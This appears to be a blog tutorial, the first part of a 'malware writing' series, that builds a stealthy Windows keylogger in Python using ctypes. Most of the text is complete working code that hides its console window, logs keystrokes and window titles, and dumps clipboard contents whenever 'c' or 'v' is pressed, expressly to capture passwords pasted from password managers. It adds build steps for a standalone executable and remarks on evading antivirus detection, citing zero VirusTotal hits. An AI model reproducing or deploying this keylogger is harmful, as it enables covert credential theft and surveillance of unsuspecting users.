Malware writing series - Python Malware, part 1
I recently was sifting through a bunch of Humble Bundle, which like many, I had acquired in the past but never read and saw Black Hat Python. Curious to see what this was all about, I started looking some of the examples and identified issues that really annoyed me.
- It’s written for Python 2.7. Python 3 has been out for years.
- It uses multiple packages that are now deprecated or extremely buggy, such as pyHook.
- It lacks a lot of neat tricks that one could do simply with standard user privileges.
Having written my share of malwares for fun cough in the past, I thought it would be interesting to revisit some basic features using today’s most hip and popular languages. I think it will also be a good tutorial for people starting in security in general to give a rough idea of the capabilities.
It’s worth noting that popular red team techniques such as dumping credentials from LSASS are almost completely useless with modern EDR (Endpoint Detection and Response) solutions as this is what they are looking for.
Which is why going back to basics and have a little bit of patience is all you need and is the most efficient. Everything is done here with standard user privileges, in the user’s context.
So why Python?
- Easy to learn and good for good for people new to programming
- Less commonly used and less chances to get flagged by AVs
- Can be executed in multiple ways.
- Can interface with C functions and the Windows API with ctypes or pywin32
But there are a few shortcomings:
- Slow and low performance compared to pure C because the code interpreted during execution
- Large executables (but it’s 2019 so bandwith shouldn’t be an issue)
- Can’t do real multi-threading due to GIL (we’ll get into that later in the series)
The tutorial will be divided in multiple parts. In each part, we will build a different module that will provide a specific set of features to our malware,including a module to use Github as C2 (always better to hide in plain sight). Then we’ll look at different ways to run, compile and distribute the malware. The code will be available in the https://github.com/tr4cefl0w/0x00sec repository.
It’s worth mentioning that I didn’t add a lot of exception handling or did much testing due to lack of time, but it’s good enough (and like Joel Salatin says, good enough is perfect) for an introduction. Also, I’m not a Python expert and haven’t touched the WinAPI a lot in the past decade so feel free to point out any mistake or improvements that could be done.
This part focuses on keylogging, the second part will likely be capturing or dumping credentials, although there’s some of this in that first part with the clipboard.
That keylogger currently has 0 detections on VirusTotal but it doesn’t do much other than logging. It’s not sending the data or doing anything else. You can find the results here:
Building a keylogger
Calling functions is easy, but figuring out the algorithm is often the painful part.
First and foremost, we want to determine the actions that will need to be performed. What’s the point of logging what’s typed if you can’t contextualize it?
We need to know:
- What the current program is?
- When and what keys are pressed?
- How to deal with special keys and how we can use them?
- When to capture the clipboard?
To do so, we need to find a way to access multiple Windows API functions. Code from Black Hat Python and similar books mostly pyWin32 and pyHook. But, pyHook is only (officialy) available for Python 2.7 and still has a lot of old bugs that have yet to be fixed. For the keylogger, I figured it’d be better to use ctypes from the standard library as it would show some basics on how to use it to call Windows API functions.
In future parts we’ll likely just use PyWin32 for the simplicity and great documentation.
Let’s start.
Create a folder for the project and a sub-folder called modules. In the modules folder, create the file keylogger.py
then open it in your text editor.
We first import the required standard libraries. Then, we have to import the Windows DLLs that provide the functions we’ll need. In this case, we’ll need kernel32.dll
and user32.dll
. Finally, we want to avoid showing the console window on the desktop which would raise suspicions.
import ctypes # For interfacing with C functions
import logging # For logging the keystrokes on disk
kernel32 = ctypes.windll.kernel32 # Access functions from kernel32.dll
user32 = ctypes.windll.user32 # Access functions from user32.dll
user32.ShowWindow(kernel32.GetConsoleWindow(), 0) # Hide console
get_current_window() function
We have to build a function to get the current window title so we know in what program the user is typing.
def get_current_window(): # Function to grab the current window and its title
# Required WinAPI functions
GetForegroundWindow = user32.GetForegroundWindow
GetWindowTextLength = user32.GetWindowTextLengthW
GetWindowText = user32.GetWindowTextW
hwnd = GetForegroundWindow() # Get handle to foreground window
length = GetWindowTextLength(hwnd) # Get length of the window text in title bar, passing the handle as argument
buff = ctypes.create_unicode_buffer(length + 1) # Create buffer to store the window title string
GetWindowText(hwnd, buff, length + 1) # Get window title and store in buff
return buff.value # Return the value of buff
Now we can use this function to get the current window title and later use it in the keylogging function.
get_clipboard() function
The second function is to capture the content of the clipboard. It is a bit tricky to set up but it shows how to use pointers with ctypes.
def get_clipboard():
CF_TEXT = 1 # Set clipboard format
# Argument and return types for GlobalLock/GlobalUnlock.
kernel32.GlobalLock.argtypes = [ctypes.c_void_p]
kernel32.GlobalLock.restype = ctypes.c_void_p
kernel32.GlobalUnlock.argtypes = [ctypes.c_void_p]
# Return type for GetClipboardData
user32.GetClipboardData.restype = ctypes.c_void_p
user32.OpenClipboard(0)
# Required clipboard functions
IsClipboardFormatAvailable = user32.IsClipboardFormatAvailable
GetClipboardData = user32.GetClipboardData
CloseClipboard = user32.CloseClipboard
try:
if IsClipboardFormatAvailable(CF_TEXT): # If CF_TEXT is available
data = GetClipboardData(CF_TEXT) # Get handle to data in clipboard
data_locked = kernel32.GlobalLock(data) # Get pointer to memory location where the data is located
text = ctypes.c_char_p(data_locked) # Get a char * pointer (string in Python) to the location of data_locked
value = text.value # Dump the content in value
kernel32.GlobalUnlock(data_locked) # Decrement de lock count
return value.decode('utf-8') # Return the clipboard content
finally:
CloseClipboard() # Close the clipboard
Now we have the function to capture the clipboard content. Of course this could be done in fewer lines of code with PyWin32 but I figured it would be good to do something using only the standard library and show some basic usage of ctypes.
get_keystrokes() function
Now, the keylogging function. That function, when called, requires two argument. The directory where the log file will be stored and the file name. Then, we configure the logger that will write the log file on disk. Finally, we set up the WinAPI function and variables we need, such as a dictionary for the special keys pressed such as , , and so on.
The keylogging algorithm is set to run indefinitely using a while
loop. The reason is that we don’t want the keylogging to stop unless it is told to do so. This means that if we want to do other tasks meanwhile, we need to run it in parallel with other functions either in a thread or separate process. This will be challenging and we’ll cover this later in the series when attempting to do real parallelism (which is not the same as concurrency by the way). We’ll also introduce some modifications to use a timer to stop/start the keylogger as an alternative to parallelism.
def get_keystrokes(log_dir, log_name): # Function to monitor and log keystrokes
# Logger
logging.basicConfig(filename=(log_dir +"\\" + log_name), level=logging.DEBUG, format='%(message)s')
GetAsyncKeyState = user32.GetAsyncKeyState # WinAPI function that determines whether a key is up or down
special_keys = {0x08: 'BS', 0x09: 'Tab', 0x10: 'Shift', 0x11: 'Ctrl', 0x12: 'Alt', 0x14: 'CapsLock', 0x1b: 'Esc', 0x20: 'Space', 0x2e: 'Del'}
current_window = None
line = [] # Stores the characters pressed
while True:
if current_window != get_current_window(): # If the content of current_window isn't the currently opened window
current_window = get_current_window() # Put the window title in current_window
logging.info(str(current_window).encode('utf-8')) # Write the current window title in the log file
for i in range(1, 256): # Because there are 256 ASCII characters (even though we only really use 128)
if GetAsyncKeyState(i) & 1: # If a key is pressed and matches an ASCII character
if i in special_keys: # If special key, log as such
logging.info("<{}>".format(special_keys[i]))
elif i == 0x0d: # If <ENTER>, log the line typed then clear the line variable
logging.info(line)
line.clear()
elif i == 0x63 or i == 0x43 or i == 0x56 or i == 0x76: # If characters 'c' or 'v' are pressed, get clipboard data
clipboard_data = get_clipboard()
logging.info("[CLIPBOARD] {}".format(clipboard_data))
elif 0x30 <= i <= 0x5a: # If alphanumeric character, append to line
line.append(chr(i))
That’s it! A side note on capturing the clipboard data. We trigger the function when the user’s presses ‘c’ or ‘v’ because we want to log when a password is copied for a password manager and in case the user right-clicks to paste instead of using the keyboard shortcut. However, this might repeatedly log the clipboard content in the log file. We could call EmptyClipboard() after but that could raise suspicions. If you think of a better way, feel free to share!
Now we assemble everything to make the keylogger module.
import ctypes
import logging
# Required librairies
kernel32 = ctypes.windll.kernel32
user32 = ctypes.windll.user32
# Hide console
user32.ShowWindow(kernel32.GetConsoleWindow(), 0)
def get_current_window(): # Function to grab the current window and its title
GetForegroundWindow = user32.GetForegroundWindow
GetWindowTextLength = user32.GetWindowTextLengthW
GetWindowText = user32.GetWindowTextW
hwnd = GetForegroundWindow() # Get handle to foreground window
length = GetWindowTextLength(hwnd) # Get length of the window text in title bar
buff = ctypes.create_unicode_buffer(length + 1) # Create buffer to store the window title string
GetWindowText(hwnd, buff, length + 1) # Get window title and store in buff
return buff.value # Return the value of buff
def get_clipboard():
CF_TEXT = 1 # Set clipboard format
# Argument and return types for GlobalLock/GlobalUnlock.
kernel32.GlobalLock.argtypes = [ctypes.c_void_p]
kernel32.GlobalLock.restype = ctypes.c_void_p
kernel32.GlobalUnlock.argtypes = [ctypes.c_void_p]
# Return type for GetClipboardData
user32.GetClipboardData.restype = ctypes.c_void_p
user32.OpenClipboard(0)
# Required clipboard functions
IsClipboardFormatAvailable = user32.IsClipboardFormatAvailable
GetClipboardData = user32.GetClipboardData
CloseClipboard = user32.CloseClipboard
try:
if IsClipboardFormatAvailable(CF_TEXT): # If CF_TEXT is available
data = GetClipboardData(CF_TEXT) # Get handle to data in clipboard
data_locked = kernel32.GlobalLock(data) # Get pointer to memory location where the data is located
text = ctypes.c_char_p(data_locked) # Get a char * pointer (string in Python) to the location of data_locked
value = text.value # Dump the content in value
kernel32.GlobalUnlock(data_locked) # Decrement de lock count
return value.decode('utf-8') # Return the clipboard content
finally:
CloseClipboard() # Close the clipboard
def get_keystrokes(log_dir, log_name): # Function to monitor and log keystrokes
# Logger
logging.basicConfig(filename=(log_dir +"\\" + log_name), level=logging.DEBUG, format='%(message)s')
GetAsyncKeyState = user32.GetAsyncKeyState # WinAPI function that determines whether a key is up or down
special_keys = {0x08: 'BS', 0x09: 'Tab', 0x10: 'Shift', 0x11: 'Ctrl', 0x12: 'Alt', 0x14: 'CapsLock', 0x1b: 'Esc', 0x20: 'Space', 0x2e: 'Del'}
current_window = None
line = [] # Stores the characters pressed
while True:
if current_window != get_current_window(): # If the content of current_window isn't the currently opened window
current_window = get_current_window() # Put the window title in current_window
logging.info(str(current_window).encode('utf-8')) # Write the current window title in the log file
for i in range(1, 256): # Because there are 256 ASCII characters (even though we only really use 128)
if GetAsyncKeyState(i) & 1: # If a key is pressed and matches an ASCII character
if i in special_keys: # If special key, log as such
logging.info("<{}>".format(special_keys[i]))
elif i == 0x0d: # If <ENTER>, log the line typed then clear the line variable
logging.info(line)
line.clear()
elif i == 0x63 or i == 0x43 or i == 0x56 or i == 0x76: # If characters 'c' or 'C' are pressed, get clipboard data
clipboard_data = get_clipboard()
logging.info("[CLIPBOARD] {}".format(clipboard_data))
elif 0x30 <= i <= 0x5a: # If alphanumeric character, append to line
line.append(chr(i))
To run the keylogger, we need to create the main program file that will import the module and execute the keylogger. In the root of your project directory, create a main.py
file and add the following:
import os
from modules import keylogger
log_dir = os.environ['localappdata']
log_name = 'applog.txt'
keylogger.get_keystrokes(log_dir, log_name)
You can modify the log_dir
and log_name
to set the folder and file name of your choice. You can then run it as a Python script with python main.py
or build a standalone executable with PyInstaller like the one uploaded on Virus Total. To do so, install PyInstaller with pip install pyinstaller
then run pyinstaller --onefile main.py -w
.
The executable will be located in the dist
folder. If you run it through Window Explorer, you’ll see that no console window appears.
I created a dummy account in Bitwarden (my password manager) and attempted to log in Office 365 just to show the password being pasted with the clipboard when ‘v’ is hit. Here’s the content of the log file.
b'Bitwarden'
b'Sign in to your Microsoft account - Firefox Developer Edition (Private Browsing)'
<Ctrl>
[CLIPBOARD] p1zz4
Looking at the task manager, you can see it running:
Look at that CPU usage! As pointed out by @dtm in comments, this is mostly caused by the fact that we’re using GetAsyncKeyState() instead of SetWindowsHookExA() and he is right.
However, after testing a simple example of Python keylogger using SetWindowsHookExA(), it triggered 4 AVs detections:
To investigate! I’ll attempt to find a way to use SetWindowsHookExA() without triggering any detection and update the code and the article if I succeed. If any of you can do it, please share in comment
Python references:
MSDN references:
Edit 2019/02/19: Updated the article taking into account @dtm’s comment.